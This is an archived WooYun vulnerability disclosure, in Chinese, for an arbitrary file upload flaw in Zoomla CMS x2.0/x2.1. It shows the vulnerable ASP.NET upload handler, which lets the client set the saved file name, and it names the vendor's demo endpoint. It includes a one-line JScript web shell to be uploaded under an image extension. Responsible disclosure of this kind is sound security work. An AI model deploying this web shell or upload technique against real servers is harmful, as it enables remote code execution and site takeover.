当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084725

漏洞标题:逐浪cms x2.1 x2.0版本存在文件上传漏洞官网demo测试成功(附poc)

相关厂商:逐浪CMS

漏洞作者: what_news

提交时间:2014-12-01 10:19

修复时间:2015-03-01 10:20

公开时间:2015-03-01 10:20

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-01: 细节已通知厂商并且等待厂商处理中
2014-12-01: 厂商已经确认,细节仅向厂商公开
2014-12-04: 细节向第三方安全合作伙伴开放
2015-01-25: 细节向核心白帽子及相关领域专家公开
2015-02-04: 细节向普通白帽子公开
2015-02-14: 细节向实习白帽子公开
2015-03-01: 细节向公众公开

简要描述:

逐浪最新版存在文件上传漏洞
看了下x2.0 同样存在漏洞
x2.0以下的没看 不知道是否同样存在上传漏洞

详细说明:

漏洞页面

http://demo.zoomla.cn//Common/FileService.aspx


漏洞代码

protected void Page_Load(object sender, EventArgs e)
{
string path = "/UploadFiles/UserUpload/";
HttpFileCollection files = base.Request.Files;
if (files.Count == 0)
{
base.Response.Write("请勿直接访问本文件");
base.Response.End();
}
string str2 = base.Server.MapPath(path);
HttpPostedFile file = files[0];
if ((file != null) && (file.ContentLength > 0))
{
string filename = str2 + base.Request.Form["fileName"]; //fileName名字可以自己设置 漏洞所在 虽然全局对上传文件名进行白名单判断限制,但是这里的最后的filename文件名可以自己设置 前面判断验证的在好 到这里却形同虚设
file.SaveAs(filename);
}
}

漏洞证明:

把一句话木马 文件名改成图片后缀
比如 2.jpg

<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>


然后利用poc点击上传

60.png

修复方案:

禁止任意设置文件名

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-12-01 11:38

厂商回复:

感谢。。。。~

最新状态:

暂无